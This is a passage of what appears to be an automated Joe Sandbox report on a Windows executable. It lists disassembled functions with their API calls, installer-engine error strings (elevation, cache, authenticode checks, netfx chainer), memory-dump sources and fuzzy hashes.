String ID: Failed to find payload for catalog file.$Failed to get catalog local file path$Failed to open catalog in working path: %ls$Failed to verify catalog signature: %ls$catalog.cpp
API String ID: 1774366664-48089280
Opcode ID: 2392ca334ba362f5f5001993efa84c17f0b482ce86689bb0acbcc055d5b7aef3
Instruction ID: 7d7e6c4d8b0470aae7755919a832a0f1db3051a97182e8130b2d1f92e83d053d
Opcode Fuzzy Hash: 2392ca334ba362f5f5001993efa84c17f0b482ce86689bb0acbcc055d5b7aef3
Instruction Fuzzy Hash: 8A312872900625BFCB219B55CC46F5EBBA4EF45720F218526F914EF250E770AD009BD0

Function 009CD33E Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 92synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,74DF30B0,00000000,?,?,?,?,009CD642,?), ref: 009CD357
ReleaseMutex.KERNEL32(?,?,?,?,009CD642,?), ref: 009CD375
WaitForSingleObject.KERNEL32(?,000000FF), ref: 009CD3B6
ReleaseMutex.KERNEL32(?), ref: 009CD3CD
SetEvent.KERNEL32(?), ref: 009CD3D6

Strings

Failed to send files in use message from netfx chainer., xrefs: 009CD41C
Failed to get message from netfx chainer., xrefs: 009CD3F7

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: MutexObjectReleaseSingleWait$Event
String ID: Failed to get message from netfx chainer.$Failed to send files in use message from netfx chainer.
API String ID: 2608678126-3424578679
Opcode ID: 064a3b628d5cd5cbb5cac17bd8b427b3e6497cdf6c62977595cc42a4dbc578ba
Instruction ID: 4e6f2f1b0b1fb1ffed780a09422d99be0386390958fa98e598e8819b5793b4f2
Opcode Fuzzy Hash: 064a3b628d5cd5cbb5cac17bd8b427b3e6497cdf6c62977595cc42a4dbc578ba
Instruction Fuzzy Hash: 43310931D04649BFCB119F94DC48FAFBBF9EF49320F108669F624A62A1C7709900DB91

Function 009E093B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 92processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00000000,00000000), ref: 009E09AB
GetLastError.KERNEL32(?,?,?,?,00000000,00000000,00000000), ref: 009E09B5
CloseHandle.KERNEL32(?,?,?,?,?,00000000,00000000,00000000), ref: 009E09FE
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,00000000,00000000), ref: 009E0A0B

Strings

D, xrefs: 009E0993
"%ls" %ls, xrefs: 009E0974
procutil.cpp, xrefs: 009E09D9

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseHandle$CreateErrorLastProcess
String ID: "%ls" %ls$D$procutil.cpp
API String ID: 161867955-2732225242
Opcode ID: 0c4aac9119357781b59eb74af2e0e7a689ab1c10853814fe137e876117a06e56
Instruction ID: f66792608b2457574ad86574d4adea8faeecce2012d68db1d548b3251010f2ea
Opcode Fuzzy Hash: 0c4aac9119357781b59eb74af2e0e7a689ab1c10853814fe137e876117a06e56
Instruction Fuzzy Hash: 86216F72D0029EABDB12DFD6CD41AAFBBB8FF40750F100425EA00B7212D3B09E409AA1

Function 009A9B9A Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 75COMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 009A9BB3
GetFileAttributesW.KERNEL32(00000000,000002C0,?,00000000,00000000,000002C0,00000100,00000000,?,009AA8AB,00000100,000002C0,000002C0,00000100), ref: 009A9BD3
GetLastError.KERNEL32(?,009AA8AB,00000100,000002C0,000002C0,00000100), ref: 009A9BDE

Strings

Failed to format variable string., xrefs: 009A9BBE
Directory search: %ls, did not find path: %ls, reason: 0x%x, xrefs: 009A9C4A
Failed to set directory search path variable., xrefs: 009A9C0F
Failed while searching directory search: %ls, for path: %ls, xrefs: 009A9C34

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AttributesErrorFileLastOpen@16
String ID: Directory search: %ls, did not find path: %ls, reason: 0x%x$Failed to format variable string.$Failed to set directory search path variable.$Failed while searching directory search: %ls, for path: %ls
API String ID: 1811509786-2966038646
Opcode ID: acf190586892b688044f624095be6136420e779440af052ab81a8f0cc9f72b3d
Instruction ID: 4845e173f3f890e08adccfd44415faa1e618919f17922711c1e20d99a1002362
Opcode Fuzzy Hash: acf190586892b688044f624095be6136420e779440af052ab81a8f0cc9f72b3d
Instruction Fuzzy Hash: 0C213833940465F7CF2326998D02B5EBBB8BF42730F200201FD187B1A2C7769E50A6D9

Function 009A9D4B Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 72COMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 009A9D64
GetFileAttributesW.KERNEL32(00000000,000002C0,?,00000000,00000000,000002C0,00000100,000002C0,?,009AA883,00000100,000002C0,000002C0,?,000002C0,00000100), ref: 009A9D84
GetLastError.KERNEL32(?,009AA883,00000100,000002C0,000002C0,?,000002C0,00000100,000002C0,000002C0,00000100), ref: 009A9D8F

Strings

Failed to format variable string., xrefs: 009A9D6F
Failed to set variable to file search path., xrefs: 009A9DE7
Failed while searching file search: %ls, for path: %ls, xrefs: 009A9DBD
File search: %ls, did not find path: %ls, xrefs: 009A9DF3

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AttributesErrorFileLastOpen@16
String ID: Failed to format variable string.$Failed to set variable to file search path.$Failed while searching file search: %ls, for path: %ls$File search: %ls, did not find path: %ls
API String ID: 1811509786-3425311760
Opcode ID: 686a19307a9cf6b6c6418ce51607180c031ee70bda856e957583af0eda852d7d
Instruction ID: e67323c246e1b87027f283c68d8654c0e99e9e60b39b3a54f4f0f1a00a9980f2
Opcode Fuzzy Hash: 686a19307a9cf6b6c6418ce51607180c031ee70bda856e957583af0eda852d7d
Instruction Fuzzy Hash: 18112433940165B7DF236799CD02B9EBA69BF42734F210201FD10B61A1E7325EA0A6D1

Function 009BCF25 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 55synchronizationthreadCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000001,000493E0,00000000,?,?,009BD365,00000000,?,?,009BC7C9,00000001,?,?,?,?,?), ref: 009BCF37
GetLastError.KERNEL32(?,?,009BD365,00000000,?,?,009BC7C9,00000001,?,?,?,?,?,00000000,00000000,?), ref: 009BCF41
GetExitCodeThread.KERNEL32(00000001,?,?,?,009BD365,00000000,?,?,009BC7C9,00000001,?,?,?,?,?,00000000), ref: 009BCF7D
GetLastError.KERNEL32(?,?,009BD365,00000000,?,?,009BC7C9,00000001,?,?,?,?,?,00000000,00000000,?), ref: 009BCF87

Strings

Failed to wait for cache thread to terminate., xrefs: 009BCF6F
elevation.cpp, xrefs: 009BCF65, 009BCFAB
Failed to get cache thread exit code., xrefs: 009BCFB5

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$CodeExitObjectSingleThreadWait
String ID: Failed to get cache thread exit code.$Failed to wait for cache thread to terminate.$elevation.cpp
API String ID: 3686190907-1954264426
Opcode ID: 350197610acf56d1362e62a3ba9470a694f242bdb04fe5c7af854ecb9cd0fd9d
Instruction ID: 9b339f87580f240be273391d2f8928c75583622382fc16438ee7d2fd0a843c27
Opcode Fuzzy Hash: 350197610acf56d1362e62a3ba9470a694f242bdb04fe5c7af854ecb9cd0fd9d
Instruction Fuzzy Hash: 8B016DB3E4563973873057CA4D0AABFBA59AF05B72B0101A5BF14FF180E754DC0092E4

Function 009B69AE Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 54synchronizationthreadCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000001,000000FF,00000000,?,009B6EED,crypt32.dll,?,00000000,?,00000000,00000001), ref: 009B69BB
GetLastError.KERNEL32(?,009B6EED,crypt32.dll,?,00000000,?,00000000,00000001), ref: 009B69C5
GetExitCodeThread.KERNEL32(00000001,00000000,?,009B6EED,crypt32.dll,?,00000000,?,00000000,00000001), ref: 009B6A04
GetLastError.KERNEL32(?,009B6EED,crypt32.dll,?,00000000,?,00000000,00000001), ref: 009B6A0E

Strings

Failed to wait for cache thread to terminate., xrefs: 009B69F6
core.cpp, xrefs: 009B69EC, 009B6A35
Failed to get cache thread exit code., xrefs: 009B6A3F

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$CodeExitObjectSingleThreadWait
String ID: Failed to get cache thread exit code.$Failed to wait for cache thread to terminate.$core.cpp
API String ID: 3686190907-2546940223
Opcode ID: 9715285be727a49d5195e856c33c112bd82cdb51330bca94a59bf9c6de63deeb
Instruction ID: f52b83dc8c11451dcf04cf173550a9ea46fccd4b0178df3e5895726ab2cf6bb3
Opcode Fuzzy Hash: 9715285be727a49d5195e856c33c112bd82cdb51330bca94a59bf9c6de63deeb
Instruction Fuzzy Hash: 4D11697174424AFBDB109FA5DE02BBF76ACEF40721F204169BA14E9160DB39DE40A754

Function 009BF7D9 Relevance: 12.1, APIs: 2, Strings: 6, Instructions: 118COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 009BF7EE
LeaveCriticalSection.KERNEL32(?), ref: 009BF8FB

Strings

Failed to set source path for payload., xrefs: 009BF88A
Engine is active, cannot change engine state., xrefs: 009BF808
UX requested unknown payload with id: %ls, xrefs: 009BF85A
UX requested unknown container with id: %ls, xrefs: 009BF8BA
Failed to set source path for container., xrefs: 009BF8E0
UX denied while trying to set source on embedded payload: %ls, xrefs: 009BF870

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: Engine is active, cannot change engine state.$Failed to set source path for container.$Failed to set source path for payload.$UX denied while trying to set source on embedded payload: %ls$UX requested unknown container with id: %ls$UX requested unknown payload with id: %ls
API String ID: 3168844106-4121889706
Opcode ID: e990ef293fa5d71c3042db20b370322c2eedffb4def28fd5c7d48771ee0bd791
Instruction ID: 4c77ac0b232fed129ccafbdabe9344eeec01827b9d7e3f77c6163b5058299f2e
Opcode Fuzzy Hash: e990ef293fa5d71c3042db20b370322c2eedffb4def28fd5c7d48771ee0bd791
Instruction Fuzzy Hash: 00314872A04255AF8B219B58CD55EEBB3ACEF847307158076F806EB341DB79ED008790

Function 009A71FD Relevance: 12.1, APIs: 1, Strings: 7, Instructions: 99stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000), ref: 009A7210

Strings

Failed to format escape sequence., xrefs: 009A72AA
[\%c], xrefs: 009A726F
Failed to copy string., xrefs: 009A72C4
[]{}, xrefs: 009A723A
Failed to append escape sequence., xrefs: 009A72A3
Failed to allocate buffer for escaped string., xrefs: 009A7227
Failed to append characters., xrefs: 009A729C

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: lstrlen
String ID: Failed to allocate buffer for escaped string.$Failed to append characters.$Failed to append escape sequence.$Failed to copy string.$Failed to format escape sequence.$[\%c]$[]{}
API String ID: 1659193697-3250950999
Opcode ID: 0f9ecf751db0ca1fd417de3d3354b031ef22d0f9f940e7d5f12ae20eaa995693
Instruction ID: 4bd1867a273cbc99915a3666975c66fa44ed0c4adaf032ae87e9d80a588a95ba
Opcode Fuzzy Hash: 0f9ecf751db0ca1fd417de3d3354b031ef22d0f9f940e7d5f12ae20eaa995693
Instruction Fuzzy Hash: 5821E173948259BBDB2296D48C43BAEBBAD9F92B25F210016FD10B6181DB749E0192D4

Function 009C5BDC Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 207COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000000,009EB500,000000FF,feclient.dll,000000FF,00000000,00000000,?,?,?,009C67DE,?,00000001,?,009EB4A0), ref: 009C5C45

Strings

Failed grow array of ordered patches., xrefs: 009C5CDE
feclient.dll, xrefs: 009C5C3B, 009C5D65
Failed to copy target product code., xrefs: 009C5D78
Failed to insert execute action., xrefs: 009C5C9A
Failed to plan action for target product., xrefs: 009C5CF0

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CompareString
String ID: Failed grow array of ordered patches.$Failed to copy target product code.$Failed to insert execute action.$Failed to plan action for target product.$feclient.dll
API String ID: 1825529933-3477540455
Opcode ID: 8274f984b65c3c2483cb1ae6672aebd93b2c4a79ab046e2ac52d6b14a8c53852
Instruction ID: 37293a2a7d68b260aa74c3c35a717d36f941998838e405547176942447f118da
Opcode Fuzzy Hash: 8274f984b65c3c2483cb1ae6672aebd93b2c4a79ab046e2ac52d6b14a8c53852
Instruction Fuzzy Hash: 648135B5A0474A9FCB14CF58C880EAA77A5FF48324B128669FD658B352C730EC91CF91

Function 009DCAED Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,009DD262,00000000,00000000,00000000,00000000,00000000,009D2F1D), ref: 009DCB2F
__fassign.LIBCMT ref: 009DCBAA
__fassign.LIBCMT ref: 009DCBC5
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 009DCBEB
WriteFile.KERNEL32(?,00000000,00000000,009DD262,00000000,?,?,?,?,?,?,?,?,?,009DD262,00000000), ref: 009DCC0A
WriteFile.KERNEL32(?,00000000,00000001,009DD262,00000000,?,?,?,?,?,?,?,?,?,009DD262,00000000), ref: 009DCC43

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 3c4c29bbd670d1274e4c3a0ee60dfb8c78ff8dca23dd1db1db71fd5fbb68609c
Instruction ID: ac0fac1a6f0803b926eb74117ab1283451027ae5ddbbd9d1fdf7a20eb88f725e
Opcode Fuzzy Hash: 3c4c29bbd670d1274e4c3a0ee60dfb8c78ff8dca23dd1db1db71fd5fbb68609c
Instruction Fuzzy Hash: 185192B1A5024A9FDB10CFB8D885AEEBBF8EF09310F14851BE655E7351E7309941CB60

Function 009C9279 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 150COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000001,?,000000FF,?,000000FF,00000000,00000100,00000000,?,?,?,009B7113,000000B8,0000001C,00000100), ref: 009C92A4
CompareStringW.KERNEL32(00000000,00000001,?,000000FF,009EB4B8,000000FF,?,?,?,009B7113,000000B8,0000001C,00000100,00000100,00000100,000000B0), ref: 009C932E

Strings

BA aborted detect forward compatible bundle., xrefs: 009C9398
comres.dll, xrefs: 009C93B0
detect.cpp, xrefs: 009C938E
Failed to initialize update bundle., xrefs: 009C93D1

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CompareString
String ID: BA aborted detect forward compatible bundle.$Failed to initialize update bundle.$comres.dll$detect.cpp
API String ID: 1825529933-439563586
Opcode ID: 3cd8383a69b89a8072c521c11fc64aad38ab0c5a72323169d9f6486232e2a38b
Instruction ID: a1eb6f3473a6ba7502d3d3b38a30228cd473b2ad2099f6013bb304dd436c0996
Opcode Fuzzy Hash: 3cd8383a69b89a8072c521c11fc64aad38ab0c5a72323169d9f6486232e2a38b
Instruction Fuzzy Hash: C051D071A00215BFDF159F64CC89FAAB76AFF05320F104269F9249B2A1C771EC60DB92

Function 009BAB9E Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 140COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(009A5479,000000FF,00AAC56B,E9009EBA,009A53BD,00000000,?,E9009EBA,00000000), ref: 009BAC94
GetLastError.KERNEL32(00000000,00000000,00000000,00000000,009A5479,000000FF,00AAC56B,E9009EBA,009A53BD,00000000,?,E9009EBA,00000000), ref: 009BACD8

Strings

Failed to get signer chain from authenticode certificate., xrefs: 009BAD06
Failed authenticode verification of payload: %ls, xrefs: 009BAC75
Failed to verify expected payload against actual certificate chain., xrefs: 009BAD1E
Failed to get provider state from authenticode certificate., xrefs: 009BACC2
cache.cpp, xrefs: 009BAC6A, 009BACB8, 009BACFC

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast
String ID: Failed authenticode verification of payload: %ls$Failed to get provider state from authenticode certificate.$Failed to get signer chain from authenticode certificate.$Failed to verify expected payload against actual certificate chain.$cache.cpp
API String ID: 1452528299-2590768268
Opcode ID: 87be349dcb296a4f377cdf9fbfa51c6ae092cae3bf46566b7df7fea2e84e4dd0
Instruction ID: e4d4b8b12424af06d54dc5b540d9ff162532249260d143d9106206338ef2de8b
Opcode Fuzzy Hash: 87be349dcb296a4f377cdf9fbfa51c6ae092cae3bf46566b7df7fea2e84e4dd0
Instruction Fuzzy Hash: DD41A572D41229ABDB119BD8CD46BEEBBB8EF84730F010129FA51BB281D7745D048BE1

Function 009E02F8 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 123COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,00000000,00000000), ref: 009E033C
GetComputerNameW.KERNEL32(?,?), ref: 009E0394

Strings

Executable: %ls v%d.%d.%d.%d, xrefs: 009E03F0
=== Logging started: %ls ===, xrefs: 009E03BF
--- logging level: %hs ---, xrefs: 009E0454
Computer : %ls, xrefs: 009E0402

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Name$ComputerFileModule
String ID: --- logging level: %hs ---$=== Logging started: %ls ===$Computer : %ls$Executable: %ls v%d.%d.%d.%d
API String ID: 2577110986-3153207428
Opcode ID: c704850c81ece46886f97ead4723fbd351f75cc53fff1203da50d9ce3d43aa27
Instruction ID: 2663a36e8279fd0c3001ab96ad93351d815db013705b554ac0372d7f052262db
Opcode Fuzzy Hash: c704850c81ece46886f97ead4723fbd351f75cc53fff1203da50d9ce3d43aa27
Instruction Fuzzy Hash: B34196F1D0015C9BCB11DF65DD85BAA73BCEB94304F0081A5F609E3192E6719EC58F65

Function 009BD437 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,?,00000001,009EB500,?,00000001,000000FF,?,?,75C0B390,00000000,00000001,00000000,?,009B74E6), ref: 009BD560

Strings

UX aborted elevation requirement., xrefs: 009BD475
Failed to create pipe and cache pipe., xrefs: 009BD4BD
Failed to connect to elevated child process., xrefs: 009BD549
elevation.cpp, xrefs: 009BD46B
Failed to create pipe name and client token., xrefs: 009BD4A1
Failed to elevate., xrefs: 009BD542

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseHandle
String ID: Failed to connect to elevated child process.$Failed to create pipe and cache pipe.$Failed to create pipe name and client token.$Failed to elevate.$UX aborted elevation requirement.$elevation.cpp
API String ID: 2962429428-3003415917
Opcode ID: d7c1adefb8135abe4aed705c6fc1681c0276f613b7ca9ac84d7f9087867f9266
Instruction ID: dae5470dd983c6e9dd7edc3e3e2b06233dde1a155e800b00cd897a356f17810b
Opcode Fuzzy Hash: d7c1adefb8135abe4aed705c6fc1681c0276f613b7ca9ac84d7f9087867f9266
Instruction Fuzzy Hash: 333180726467297BE721A6A4CD43FFAB35C9F81334F104205FA04AB1C5EBE1AE0083D5

Function 009BD24B Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 118threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,009BAD40,?,00000000,00000000), ref: 009BD2E9
GetLastError.KERNEL32(?,?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 009BD2F5

Part of subcall function 009BCF25: WaitForSingleObject.KERNEL32(00000001,000493E0,00000000,?,?,009BD365,00000000,?,?,009BC7C9,00000001,?,?,?,?,?), ref: 009BCF37
Part of subcall function 009BCF25: GetLastError.KERNEL32(?,?,009BD365,00000000,?,?,009BC7C9,00000001,?,?,?,?,?,00000000,00000000,?), ref: 009BCF41

CloseHandle.KERNEL32(00000000,00000000,?,?,009BC7C9,00000001,?,?,?,?,?,00000000,00000000,?,?,?), ref: 009BD376

Strings

Failed to create elevated cache thread., xrefs: 009BD323
elevation.cpp, xrefs: 009BD319
Failed to pump messages in child process., xrefs: 009BD34D

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$CloseCreateHandleObjectSingleThreadWait
String ID: Failed to create elevated cache thread.$Failed to pump messages in child process.$elevation.cpp
API String ID: 3606931770-4134175193
Opcode ID: cb75d7e5c4015c24bb2224bcaaf46ce2271c1b64335284a4a84e238fab62191b
